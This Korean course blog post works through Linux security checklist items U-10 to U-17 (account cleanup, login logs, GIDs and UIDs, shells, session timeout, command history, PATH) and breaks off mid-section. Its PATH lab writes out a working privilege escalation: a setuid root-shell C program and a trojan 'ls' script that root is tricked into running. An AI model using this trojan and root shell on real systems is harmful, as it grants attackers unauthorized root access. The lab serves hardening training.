블로그 이미지
22Hz 22Hz

카테고리

분류 전체보기 (109)
모의해킹 침해대응 전문가 과정 (99)
리눅스 설정 (10)
Total
Today
Yesterday

달력

« » 2025.5
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

공지사항

태그목록

최근에 올라온 글

1.10 불필요한 계정 제거

 

점검 분류 항목: 계정 관리

세부 점검 항목: 불필요한 계정 제거

대상: 리눅스

위험도:

관련 코드: U-10

 

(1) 취약점 개요

OSPackage 설치 시 Default로 생성되는 계정은 대부분 Default 패스워드를 사용하는

경우가 많으며 패스워드 추측공격에 악용될 수 있으므로 시스템에서 이용하지 않는 "lp,

uucp, nuucp” 등의 Default 계정 및 의심스러운 특이한 계정의 존재 유무를 확인 후

삭제함. 또한, 관리되지 않은 불필요한 계정으로 인해 시스템 접속이 가능하므로 퇴직,

전직, 휴직 등의 이유로 더 이상 사용하지 않는 계정, 불필요한 계정, 의심스러운

계정은 제거해야 함. 특히, 장기간 패스워드가 변경되지 않은 미사용 계정은 반복적인

패스워드 추측 공격(Password Guessing)이 가능하고 해당 계정 정보의 유출 여부 확인이

어려움.

 

(2) 판단기준

양호: 불필요한 계정이 존재하지 않는 경우

취약: 불필요한 계정이 존재하는 경우

 

(3) 조치방법

현재 등록된 계정 현황 확인 후 불필요한 계정 삭제

 

(4) 보안 설정 방법

점검 방법

1. 미사용 계정 및 의심스러운 계정 존재 여부 확인

#c at /etc/passwd

2. 사용하지 않는 Default 계정 점검 (lp, uucp, nuucp 계정 존재 확인 예시)

# cat /etc/passwd | egrep "lp|uucp|nuucp"

3. 로그인 실패 기록 점검을 통해 미사용 계정 및 의심스러운 계정 확인

# cat /var/log/sulog

 

설정 방법

1. 서버에 등록된 불필요한 사용자 계정 확인

2. userdel 명령으로 불필요한 사용자 계정 삭제

# userdel <user_name>

/etc/passwd 파일에서 계정 앞에 #을 삽입하여도 주석처리가 되지 않으므로 조치 시에는 반드시 계정을 삭제하도록 권고함

 

(5) 조치시 영향

일반적으로 영향 없음

 

(고객에게 설명)

로그인이 가능한 사용자 계정들은 로그인을 통해서 시스템에 접근이 가능하기 때문에 로그인 계정의 패스워드 부재로 인한 패스워드 유출이나 패스워드 추측 공격으로 인한 패스워드 유출가능성이 있음. 오랫동안 로그인 하지 않은 계정은 계정만 만들어지고 관리가 되지 않는 계정일 가능성이 높으며, 이런 경우 계정을 악의적인 사용자가 불법적으로 사용해도 알 수 없으며, 패스워드 변경이 없으므로 패스워드 유출가능성이 존재함. 반복된 로그인 실패 기록이 남아있다는 계정도 패스워드 추측에 의한 불법적인 로그인 시도 가능성이 있음.그러므로 사용 목적이 만료된 관리자, Guest, 테스트 계정, 무자격 사용자(>퇴직자) 등 시스템에 불필요한 계정을 주기적으로 삭제 조치 취해야함.

관리되지 않는 계정을 통한 시스템 접속 가능성이 존재할 수 있다.

수면 계정 점검

# lastlog (/var/log/lastlog)

오랫동안 로그인하지 않은 계정, 한 번도 로그인하지 않은 계정 존재하는지 점검.

로그인 실패기록 점검(반복된 로그인 실패 기록을 점검)

# lastb (/var/log/wtmp)

명령어 출력 결과 분석

 

[실습] lastlog/lastb 테스트

불필요한 사용자를 제거시 확인 방법- lastlog CMD ---> (출력 결과 분석) 최근에 로그인을 하지 않은 사용자- lastb CMD ---> (출력 결과 분석) 비슷한 시간대에 반복적으로 실패하는 사용자


불 필요한 계정 삭제

 

 

 

 

[실습] lastlog 명령어에 대해서

 

# cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

distcache:x:94:94:Distcache:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

pcap:x:77:77::/var/arpwatch:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

named:x:25:25:Named:/var/named:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin

dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin

squid:x:23:23::/var/spool/squid:/sbin/nologin

rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin

nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin

xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin

haldaemon:x:68:68:HAL daemon:/:/sbin/nologin

avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin

gdm:x:42:42::/var/gdm:/sbin/nologin

sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin

user01:x:500:500::/home/user01:/bin/bash

user02:x:501:501::/home/user02:/bin/bash

user03:x:502:502::/home/user03:/bin/bash

-> 기본 계정에 대해 확인한다.

-> 시스템 계정은 root 사용자를 제외하고 일반적으로 로그인이 가능하지 않는다.

 

(일반 사용자)

# awk -F: '$3 > 499 && $3 < 60000 {print $1}' /etc/passwd

(시스템 사용자)

# awk -F: '$3 < 500 {print $1}' /etc/passwd

 

 

 

 

# man lastlog

NAME

lastlog - reports the most recent login of all users or of a given user

 

SYNOPSIS

lastlog [options]

 

DESCRIPTION

lastlog formats and prints the contents of the last login log

/var/log/lastlog file. The login-name, port, and last login time

will be printed. The default (no flags) causes lastlog entries to

be printed, sorted by their order in /etc/passwd.

..... (중략) .....

 

# lastlog --help

Usage: lastlog [options]

 

Options:

-b, --before DAYS print only lastlog records older than DAYS

-h, --help display this help message and exit

-t, --time DAYS print only lastlog records more recent than DAYS

-u, --user LOGIN print lastlog record for user with specified LOGIN

 

# lastlog

Username Port From Latest

root pts/2 192.168.20.50 Mon Sep 15 21:49:58 +0900 2014

bin **Never logged in**

daemon **Never logged in**

adm **Never logged in**

lp **Never logged in**

sync **Never logged in**

shutdown **Never logged in**

halt **Never logged in**

mail **Never logged in**

news **Never logged in**

uucp **Never logged in**

operator **Never logged in**

games **Never logged in**

gopher **Never logged in**

ftp **Never logged in**

nobody **Never logged in**

distcache **Never logged in**

nscd **Never logged in**

vcsa **Never logged in**

pcap **Never logged in**

ntp **Never logged in**

dbus **Never logged in**

..... (중략) .....

squid **Never logged in**

rpcuser **Never logged in**

xfs **Never logged in**

haldaemon **Never logged in**

avahi-autoipd **Never logged in**

gdm **Never logged in**

sabayon **Never logged in**

user01 **Never logged in**

user02 **Never logged in**

user03 **Never logged in**

-> 시스템 계정인데 최근에 로그인이 되었던 사용자가 있거나

-> 일반 사용자인데 최근에 로그인한 기록이 없다면

-> 이상이 있다고 볼수도 있다. 따라서 자세하게 점검해 봐야 한다.

[실습] lastb 명령어에 대해서

 

# man lastb

NAME

last, lastb - show listing of last logged in users

 

SYNOPSIS

last [-R] [-num] [ -n num ] [-adiowx] [ -f file ] [ -t YYYYMMDDHH-

MMSS ] [name...] [tty...]

lastb [-R] [-num] [ -n num ] [ -f file ] [-adiowx] [name...]

[tty...]

 

DESCRIPTION

Last searches back through the file /var/log/wtmp (or the file des-

ignated by the -f flag) and displays a list of all users logged in

(and out) since that file was created. Names of users and tty’s

can be given, in which case last will show only those entries

matching the arguments. Names of ttys can be abbreviated, thus

last 0 is the same as last tty0.

..... (중략) .....

 

# lastb --help

lastb: invalid option -- -

Usage: lastb [-num | -n num] [-f file] [-t YYYYMMDDHHMMSS] [-R] [-x] [-o] [-w] [username..] [tty..]

 

[TERM2] 모니터링 터미널

# while true (# watch lastb)

> do

> echo "------------`date`-----------"

> lastb | head

> sleep 2

> done

user01 ssh:notty localhost.locald Tue Sep 16 08:45 - 08:45 (00:00)

user01 ssh:notty localhost.locald Tue Sep 16 08:45 - 08:45 (00:00)

user01 ssh:notty localhost.locald Tue Sep 16 08:45 - 08:45 (00:00)

 

# ssh user01@localhost

user01@localhost's password: (1)

Permission denied, please try again.

user01@localhost's password: (2)

Permission denied, please try again.

user01@localhost's password: (3)

Permission denied (publickey,gssapi-with-mic,password).

-> 잘못된 암호 입력

 

 

일정한 시간안에 반복적으로 로그인이 실패하는 기록이 남겼졌을 때는 외부의 공격인지 확인해야 한다.

 

 

 

 

 

 



1.11 관리자 그룹에 최소한의 계정 포함

 

점검 분류 항목: 계정 관리

세부 점검 항목: 관리자 그룹에 최소한의 계정 포함

대상: 리눅스

위험도:

관련 코드: U-11

 

(1) 취약점 개요

시스템을 관리하는 root 계정이 속한 그룹은 시스템 운영 파일에 대한 접근권한이 부

여되어 있으므로 최소한의 계정만 등록되어 있어야 함. 해당 그룹 관리가 이루어지지

않으면 허가되지 않은 일반 사용자가 관리자의 권한으로 시스템에 접근할 수 있으며,

파일 수정 및 변경 등의 악의적인 작업으로 인해 시스템 운영에 피해를 줄 수 있음.

 

(2) 판단기준

양호: 관리자 그룹에 불필요한 계정이 등록되어 있지 않은 경우

취약: 관리자 그룹에 불필요한 계정이 등록되어 있는 경우

 

(3) 조치방법

현재 등록된 계정 현황 확인 후 불필요한 계정 삭제

 

(4) 보안 설정 방법

점검 방법

# cat /etc/group

root:x:0:root

 

설정 방법

1. vi 편집기를 이용하여 “/etc/group” 파일을 연 후

2. root 그룹에 등록된 불필요한 계정 삭제

() root 그룹에 등록된 불필요한 test 계정 삭제

(수정 전) root:x:0:root,test

(수정 후) root:x:0:root

 

(5) 조치시 영향

일반적으로 영향 없음

 

 

(고객에게 설명)

 

실습은 이전 실습을 참고한다.

 

 

 

 

 

1.12 계정이 존재하지 않는 GID 금지

 

점검 분류 항목: 계정 관리

세부 점검 항목: 계정이 존재하지 않는 GID 금지

대상: 리눅스

위험도:

관련 코드: U-12

 

(1) 취약점 개요

미흡한 계정 그룹 관리로 인해 구성원이 없는 그룹이 존재할 경우 해당 그룹 소유의

파일이 비인가자에게 노출될 위험이 있음. 계정이 존재하지 않는

*GID(Group Identification) 설정을 관리자와 검토 후 제거하여야 함.

*GID(Group Identification): 다수의 사용자가 특정 개체를 공유할 수 있게 연계시키는 특정

그룹의 이름으로 주로 계정처리 목적으로 사용되며, 한 사용자는 여러 개의 GID를 가질 수 있음.

 

(2) 판단기준

양호: 존재하지 않는 계정에 GID 설정을 금지한 경우

취약: 존재하지 않은 계정에 GID 설정이 되어있는 경우

 

(3) 조치방법

구성원이 존재하지 않는 그룹이 있을 경우 관리자와 검토하여 제거

 

(4) 보안 설정 방법

점검 방법

# cat /etc/group

root:x:0:root

......

plugdev:x:46:haldaemon,adminisdor,xan,noa

 

설정 방법

# groupdel <group_name>

구성원이 없거나, 더 이상 사용하지 않는 그룹명 삭제

 

(5) 조치시 영향

일반적으로 영향 없음

 

(스크립트 제작)

/etc/passwd 파일에는 사용자 이름이 존재하는데 /etc/group 파일에 그룹이 존재하지 않는 경우

/etc/group 파일에는 그룹 이름이 존재하는데 /etc/passwd 파일에 사용자 이름이 존재하지 않는 경우

 

# awk -F: '{print $1}' /etc/passwd > input.txt

# awk -F: '{print $1}' /etc/group > input2.txt

# cat input.txt | while read SARAM

do

grep -w "$SARAM" input2.txt >/dev/null 2>&1

if [ $? -eq 0 ] ; then

echo "[ OK ] : $SARAM"

else

echo "[ WARN ] : $SARAM"

fi

done

 

 

1.13 동일한 UID 금지

 

점검 분류 항목: 계정 관리

세부 점검 항목: 동일한 UID 금지

대상: 리눅스

위험도:

관련 코드: U-13

 

(1) 취약점 개요

UNIX 시스템은 모든 사용자 계정에 UID를 부여하여 해당 UID로 사용자 이름, 패스워

, 홈 디렉터리 등과 같은 사용자 정보를 대응시킴. 만약 중복된 UID가 존재할 경우

시스템에서 동일한 사용자로 인식하여 문제가 발생할 수 있으며, 공격자에 의한 개인

정보 및 관련 데이터 유출 발생 시에도 감사 추적이 어렵게 됨.

 

(2) 판단기준

양호: 동일한 UID로 설정된 사용자 계정이 존재하지 않는 경우

취약: 동일한 UID로 설정된 사용자 계정이 존재하는 경우

 

(3) 조치방법

동일한 UID로 설정된 사용자 계정의 UID를 서로 다른 값으로 변경

 

(4) 보안 설정 방법

점검 방법

# cat /etc/passwd

동일한 UID를 갖는 계정이 존재하는 경우 아래의 보안설정방법에 따라 설정을 변경함

 

설정 방법

usermod 명령으로 동일한 UID로 설정된 사용자 계정의 UID 변경

# usermod -u <변경할 UID> <user_name>

 

(5) 조치시 영향

일반적으로 영향 없음

 

(스크립트 제작)

/etc/passwd 파일내에 동일한 UID 번호를 가진 사용자가 존재하면 안된다.

 

# cat /etc/passwd | awk -F: '{print $3}' > output.txt

# NUM=`cat output.txt | sort -n | uniq -d | wc -l`

# if [ $NUM -gt 0 ] ; then

echo "[ WARN ]"

else

echo "[ OK ]"

fi

 

 

1.14 사용자 shell 점검

 

점검 분류 항목: 계정 관리

세부 점검 항목: 사용자 shell 점검

대상: 리눅스

위험도:

관련 코드: U-14

 

(1) 취약점 개요

로그인이 필요 없는 계정을 이용해 시스템에 접근하여 사용자의 명령어를 해석하고

악용할 가능성이 있으므로, /bin/false

*(Shell)을 부여해 로그인을 금지함.

*(Shell): 대화형 사용자 인터페이스로써, 운영체제(OS) 가장 외곽계층에 존재하여 사용자의

명령어를 이해하고 실행함.

 

(2) 판단기준

양호: 로그인이 필요하지 않은 계정에 /bin/false(nologin) 쉘이 부여되어 있는 경우

취약: 로그인이 필요하지 않은 계정에 /bin/false(nologin) 쉘이 부여되지 않은 경우

 

(3) 조치방법

로그인이 필요하지 않은 계정에 대해 /bin/false(nologin) 쉘 부여

 

(4) 보안 설정 방법

점검 방법

# cat /etc/passwd | egrep

"^daemon|^bin|^sys|^adm|^listen|^nobody|^nobody4|^noaccess|^diag|^

listen|^operator|^games|^gopher" | grep -v "admin"

 

설정 방법

1. vi 편집기를 이용하여 “/etc/passwd” 파일을 연 후

2. 로그인 쉘 부분인 계정 맨 마지막에 /bin/false(nologin) 부여 및 변경

(수정 전) daemon:x:1:1::/:/sbin/ksh

(수정 후) daemon:x:1:1::/:/bin/false 또는, daemon:x:1:1::/:/sbin/nologin

 

일반적으로 로그인이 불필요한 계정

daemon, bin, sys, adm, listen, nobody, nobody4, noaccess, diag, listen, operator,

games, gopher 등 일반적으로 UID 100 이하 60000 이상의 시스템 계정 해당

 

(5) 조치시 영향

일반적인 경우 영향 없음

모호한 경우 “/etc/shadow” 파일에서 해당 계정에 패스워드 존재 여부로 확인

 

 

 

 

 

 

1.15 Session Timeout 설정

 

점검 분류 항목: 계정 관리

세부 점검 항목: Session Timeout 설정

대상: 리눅스

위험도:

관련 코드: U-15

 

(1) 취약점 개요

계정이 접속된 상태로 방치될 경우 권한이 없는 사용자에게 중요시스템이 노출되어

악의적인 목적으로 사용될 수 있으므로 일정 시간 이후 어떠한 이벤트가 발생하지 않

으면 연결을 종료하는 Session Timeout 설정이 필요함.

 

(2) 판단기준

양호: Session Timeout600(10) 이하로 설정되어 있는 경우

취약: Session Timeout600(10) 이하로 설정되지 않은 경우

 

(3) 조치방법

600(10) 동안 입력이 없을 경우 접속된 Session을 끊도록 설정

 

(4) 보안 설정 방법

점검 방법

<sh, ksh, bash 사용 시>

# cat /etc/profile(.profile)

TMOUT=600

export TMOUT

 

<csh 사용 시>

# cat /etc/csh.login 또는, #cat /etc/csh.cshrc

set autologout=10

 

설정 방법

- sh(born shell), ksh(korn shell), bash(born again shell)을 사용하는 경우 -

1. vi 편집기를 이용하여 “/etc/profile(.profile)” 파일을 연 후

2. 아래와 같이 수정 또는, 추가

TMOUT=600 (단위: )

export TMOUT

 

- csh 을 사용하는 경우 -

1. vi 편집기를 이용하여 “/etc/csh.login” 또는, “/etc/csh.cshrc” 파일을 연 후

2. 아래와 같이 수정 또는, 추가

set autologout=10 (단위: )

 

(5) 조치시 영향

모니터링 용도로 사용할 경우 해당 계정의 환경변수 파일에만 예외적으로 600초 이상의 시간 입력

() root 로 모니터링 할 경우 /.profile, /.bash_profile 등에 600초 이상 입력

 

(고객에게 설명)

로그인하여 계정을 모두 사용한 후 사용자의 부주의로 계정이 접속한 상태로 방치할 경우 악의 적인 목적으로 사용 될 수 있으며, 권한이 없는 사용자에 의한 사용이 이루어 질 수 있음. 그러므로 일정 시간 이후 어떠한 이벤트가 발생하지 않으면 연결을 강제로 종료하는 session timeout 설정이 필요함

 

[실습] TMOUT 변수 설정

(로컬) 화면 잠금 기능(system > preference > screensaver)

(원격) 원격접속시 TMOUT 변수 설정(EX: export TMOUT=60)

 

TMOUT 변수 설정

 

 

 

사용시스템

- KaliLinux

- linux200

 

 

(linux200)

 

# man bash

/TMOUT

TMOUT If set to a value greater than zero, TMOUT is treated as the

default timeout for the read builtin. The select command

terminates if input does not arrive after TMOUT seconds when

input is coming from a terminal. In an interactive shell,

the value is interpreted as the number of seconds to wait

for input after issuing the primary prompt. Bash terminates

after waiting for that number of seconds if input does not

arrive.

 

 

 

[실습] 칼리 리눅스(192.168.20.50)에서 CentOS 리눅스(192.168.20.200)로 로그인

 

(KaliLinux)

 

# telnet 192.168.20.200

root 사용자로 로그인

 

# export TMOUT=60

timed out waiting for input: auto-logout

Connection closed by foreign host.

-> 가만히 기다린다.

 

 

TMOUT 변수 설정은 환경 파일에 설정한다.

관리자) /etc/profile, /etc/bashrc

사용자) $HOME/.bash_profile, $HOME/.bashrc (/etc/skel/*)

 

 

 

 

 

 


[실습] HISTTIMEFORMAT 변수 설정

HISTTIMEFORMAT 변수

 

 

 

(linux200)

 

HISTTIMEFORMAT 변수

명령어 히스토리(Command history) 기능에 시간을 설정할 수 있는 기능이다.

사용자가 수행한 명령어를 추적할 때 사용할 수 있으므로 사용을 권장한다.

 

# export LANG=C

# man bash

/HISTTIMEFORMAT

HISTTIMEFORMAT

If this variable is set and not null, its value

is used as a format string for strftime(3) to

print the time stamp associated with each history

entry displayed by the history builtin. If this

variable is set, time stamps are written to the

history file so they may be preserved across

shell sessions.

 

# man 3 strftime

/%F

%F Equivalent to %Y-%m-%d (the ISO 8601 date for-

mat). (C99)

/%T

%T The time in 24-hour notation (%H:%M:%S). (SU)

 

# vi /etc/profile

..... (중략) .....

for i in /etc/profile.d/*.sh ; do

if [ -r "$i" ]; then

if [ "${-#*i}" != "$-" ]; then

. $i

else

. $i >/dev/null 2>&1

fi

fi

done

 

#

# (1) Sfecific Configuration

#

export HISTTIMEFORMAT="%F %T "

 

unset i

unset pathmunge

 

# telnet localhost

user01 사용자로 로그인

 

$ export LANG=C

$ history

..... (중략) ....

1 2016-05-24 12:39:02 clear

2 2016-05-24 12:39:04 id

3 2016-05-24 12:39:11 export LANG=C

4 2016-05-24 12:39:15 history

 

$ exit

# export LANG=C

# history

 

 

 

 

Command History (History)

이전에 사용한 명령어를 저장하는 기능

 

# ps

PID TTY TIME CMD

5028 pts/3 00:00:00 bash

 

# pmap 5028

5028: bash

00235000 4K r-x-- [ anon ]

00574000 108K r-x-- /lib/ld-2.5.so

0058f000 4K r-x-- /lib/ld-2.5.so

00590000 4K rwx-- /lib/ld-2.5.so

00593000 1368K r-x-- /lib/libc-2.5.so

006e9000 8K r-x-- /lib/libc-2.5.so

006eb000 4K rwx-- /lib/libc-2.5.so

006ec000 12K rwx-- [ anon ]

0071c000 12K r-x-- /lib/libdl-2.5.so

0071f000 4K r-x-- /lib/libdl-2.5.so

00720000 4K rwx-- /lib/libdl-2.5.so

00ded000 40K r-x-- /lib/libnss_files-2.5.so

00df7000 4K r-x-- /lib/libnss_files-2.5.so

00df8000 4K rwx-- /lib/libnss_files-2.5.so

06764000 12K r-x-- /lib/libtermcap.so.2.0.8

06767000 4K rwx-- /lib/libtermcap.so.2.0.8

08047000 700K r-x-- /bin/bash

080f6000 24K rw--- /bin/bash

080fc000 16K rw--- [ anon ]

09e0f000 264K rw--- [ anon ]

b7d92000 2048K r---- /usr/lib/locale/locale-archive

b7f92000 8K rw--- [ anon ]

b7f97000 8K rw--- [ anon ]

b7f99000 28K r--s- /usr/lib/gconv/gconv-modules.cache

bfd16000 84K rw--- [ stack ]

total 4776K

 

[ stack ]

 

| | ---------

| | A

| | |

| | 1000

| | |

| | V

+-----------------+ ---------

~/.bash_history

 

HISTSIZE=1000 /* stack 크기 */

HISTFILE=~/.bash_history /* history 파일 지정 */

HISTFILESIZE=1000 /* history 파일 크기 지정 */

 

# grep -i HISTSIZE /etc/profile

HISTSIZE=1000

export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE INPUTRC

 

[참고] history -c (~/.bash_logout)

(history -c 명령어의 필요성)

# echo user01 | passwd --stdin user01

# mysql -u root -p soldesk1.

# smbclient -L 192.168.20.200 -u root -p soldesk1.

 

(작업 방법에 대한 예제)

# vi /etc/skel/.bash_logout

# ~/.bash_logout

 

/usr/bin/clear

history -c

 

# useradd test01

# passwd test01

# su - test01

# ls -al

.bash_logout

# cat ~/.bash_logout

# ~/.bash_logout

 

/usr/bin/clear

history -c

 

(복원) /etc/skel/.bash_logout 파일 추가된 삭제(history -c)

 

 

사용자가 환경파일을 변경할수 없도록 설정

 

() history -c ---> /etc/skel/.bash_logout(history -c)

--- useradd CMD ---> /home/$USER/.bash_logout(사용자 삭제 가능)

 

/home/user01 (rwxr-xr-x root root)

+

|

+----- .bash_profile (-rw-r--r-- root root) <---- cd work

| ......

+----- .bash_logout (-rw-r--r-- root root)

|

+----- work (drwx------ user01 user01)

 

 

 

~/.bash_history 파일

 

# cat ~/.bash_history

......

#1441086536 /* 2015.03.20 13:00:00 history */

history

#1441086605

vi /etc/skel/.bash_logout

#1441088279

clear

#1441088283

unalias ls

#1441088291

useradd hacker

 

# pinfo date

-> Examples of date 선택

-> 예제들 중 아래 명령어 예제를 찾는다.

 

# date -d '1970-01-01 UTC 1441155935 seconds' +"%Y-%m-%d %T %z"

2015-12-30 14:29:09 +0900

-> 시간 출력 포맷을 변경하여 출력

 

(명령어 형식)

# time.sh 1441155935

2015-12-30 14:29:09 +0900

 

# cd /root/bin

# vi time.sh

#!/bin/bash

 

eval date -d \'1970-01-01 UTC $1 seconds\' +\"%Y-%m-%d %T %z\"

 

# chmod 755 time.sh

 

# cat ~/.bash_history

-> 적당한 시간 선택

# ./time.sh 1441155935

2015-12-30 14:29:09 +0900

 

 

 

cat ~/.bash_history 파일의 출력 형식 변경 작업

 

~/.bash_history ---- 보기좋은 형식 -----> ~/.bash_history.conv

#1450183998 2015-12-30 14:29:09 +0900 passwd

passwd

#1450184477 2015-12-30 14:29:09 +0900 clear

clear

#1450184555 2015-12-30 14:29:09 +0900 poweroff

poweroff

 

 

 

 

# man paste

NAME

paste - merge lines of files

# cat file1

1111

2222

3333

# cat file2

aaaa

bbbb

cccc

# paste file1 file2

1111 aaaa

2222 bbbb

3333 cccc

 

 

 


 


 

(정리) 보안 정책

(로컬)화면 잠금 기능을 설정한다.

(원격)원격접속시 일정한 시간(: TMOUT=600)안에 명령어 수행이 없으면 자동 로그아웃을 설정한다.

사용자의 수행한 명령어를 추적하기 위해서 HISTTIMEFORMAT 변수를 설정한다.



2. 파일 및 디렉토리 관리

 

2.1 root , 패스(PATH) 디렉토리 권한 및 패스(PATH) 설정

 

점검 분류 항목: 파일 및 디렉토리 관리

세부 점검 항목: root , 패스(PATH) 디렉토리 권한 및 패스(PATH) 설정

대상: 리눅스

위험도:

관련 코드: U-16

 

(1) 취약점 개요

root 계정의 PATH 환경변수에 “.” (현재 디렉터리 지칭)이 포함되어 있으면, root

계정의 인가자로 인해 비의도적으로 현재 디렉터리에 위치하고 있는 명령어가 실행될

수 있음. “.”/usr/bin이나 /bin, /sbin 등 명령어들이 위치하고 있는 디렉터리보다

우선하여 위치하고 있을 경우, root 계정의 인가자가 특정 명령을 실행하면, 비인가자가

불법적으로 위치시킨 파일을 실행하여 예기치 않은 결과를 가져올 수 있음.

잘못된 PATH의 우선순위 등이 침해사고에 이용될 수 있으므로 “.” 뿐만 아니라

비인가자가 불법적으로 생성한 디렉터리를 우선으로 가리키지 않도록 설정함.

 

(2) 판단기준

양호: PATH 환경변수에 “.” 이 맨 앞이나 중간에 포함되지 않은 경우

취약: PATH 환경변수에 “.” 이 맨 앞이나 중간에 포함되어 있는 경우

 

(3) 조치방법

root 계정의 환경변수 설정파일(“/.profile”, “/.cshrc” )“/etc/profile” 등에서 PATH 환경변수에 포함되어 있는 현재 디렉터리를 나타내는 “.”PATH 환경변수의 마지막으로 이동 “/etc/profile”, root 계정의 환경변수 파일, 일반계정의 환경변수 파일을 순차적으로 검색하여 확인

 

(4) 보안 설정 방법

점검 방법

# echo $PATH

/usr/local/sbin:/sbin:/usr/sbin:/bin:/usr/bin:/usr/bin/X11:/usr/local/bin:/usr/bi

n:/usr/X11R6/bin:/root/bin

위와 같이 출력되는 PATH 변수 내에 “.” 또는, “::” 포함 여부 확인

 

설정 방법

1. vi 편집기를 이용하여 root 계정의 설정파일(~/.profile /etc/profile)을 연 후

# vi /etc/profile

2. 아래와 같이 수정

(수정 전) PATH=.:$PATH:$HOME/bin

(수정 후) PATH=$PATH:$HOME/bin

환경변수 파일은 OS별로 약간씩 다를 수 있음

 

(5) 조치시 영향

일반적인 경우 영향 없음

 

(고객에게 설명)

root 사용자의 PATH 변수 설정에 현재 디렉토리가 설정이 되어 있다면 일반사용자가 이 취약점을 이용하여 root 권한을 따낼수 있다.

일반사용자가 root 사용자에 의한 프로그램 실행

 

 

[실습] 관리자의 잘못된 PATH 변수 설정 실습

 

 

관리자의 잘못된 PATH 변수 설정

 

 

 

(주의) 관리자(EX:root)PATH 변수 설정은 현재 디렉토리가 포함되어 있으면 안된다.

 

관리자의 잘못된 PATH 변수 설정 예

PATH=.:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:.

PATH=:/bin:/usr/bin:/usr/sbin

PATH=/bin:/usr/bin:/usr/sbin:

PATH=/bin::/usr/bin:/usr/sbin

 

PATH 변수에 대해서

- 명령어가 있는 디렉토리를 선언할 때 사용하는 변수

 

# ls

(절대경로) # /bin/ls

(상대경로) # cd /bin

# ./ls

 

 

(root 사용자)

 

[TERM1] root 사용자의 윈도우

# unalias ls

#

 

# useradd hacker

# passwd hacker (# echo hacker | passwd --stdin hacker)

Changing password for user hacker.

New UNIX password: (hacker)

BAD PASSWORD: it is based on a dictionary word

Retype new UNIX password: (hacker)

passwd: all authentication tokens updated successfully.

 

# export PATH=.:$PATH

# echo $PATH

.:/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/usr/X11R6/bin:/root/bin

 

 

 

(Hacker 사용자)

 

[TERM2] hacker 사용자의 윈도우

# telnet localhost

hacker 사용자로 로그인

 

$ id

uid=503(hacker) gid=503(hacker) groups=503(hacker)

 

$ pwd

/home/hacker

 

$ vi /tmp/.hacker.c

#include<stdio.h>

 

int main()

{

setuid(0);

setgid(0);

system("/bin/bash");

}

 

$ gcc -o /tmp/.hacker /tmp/.hacker.c

$ ls -l /tmp/.hacker

-rwxrwxr-x 1 hacker hacker 5149 Sep 16 13:13 /tmp/.hacker

 

$ cd

$ vi ls

#!/bin/bash

 

chown root /tmp/.hacker

chmod u+s /tmp/.hacker

 

rm -f $0

rm -f /tmp/.hacker.c

 

/bin/ls $*

 

$ chmod 755 ls

$

 

$ cat > -i

Your System Hacking!!!!!

<CTRL + D>

 

$ ls

-i ls

 

=====> 관리자 Call (도움 요청 내용: '-i' 파일을 지울수 없다.)

 

 

(root 사용자)

 

[TERM1] root 사용자의 윈도우

# cd ~hacker (# cd /home/hacker)

# ls

-> PATH 변수 참조

-> 현재디렉토리 검색

-> 현재디렉토리 밑에 있는 ls 명령어 수행

 

# rm -i

# rm \-i

# rm '-i'

# rm "-i"

[참고] # ls -li

# find . -inum 450 -type f -exec rm -f {} \;

 

 

(Hacker 사용자)

 

[TERM2] hacker 사용자의 윈도우

$ ls -l /tmp/.hacker

-rwsrwxr-x 1 root hacker 5149 Sep 16 09:23 /tmp/.hacker

 

$ /tmp/.hacker

$ id -a

uid=0(root) gid=0(root) groups=503(hacker)

 

$ cat /etc/shadow

-> 정상적으로 내용이 보인다.

 

$ exit

#

 

 

 

 

 

2.2 파일 및 디렉토리 소유자 설정

 

점검 분류 항목: 파일 및 디렉토리 관리

세부 점검 항목: 파일 및 디렉토리 소유자 설정

대상: 리눅스

위험도:

관련 코드: U-17

 

(1) 취약점 개요

소유자가 존재하지 않는 파일 및 디렉터리는 현재 권한이 없는 자(퇴직, 전직, 휴직

)의 소유였거나, 관리 소홀로 인해 생긴 파일일 가능성이 있음. 만약 중요 파일 및

디렉터리일 경우 문제가 발생할 수 있으므로 관리가 필요함.

 

(2) 판단기준

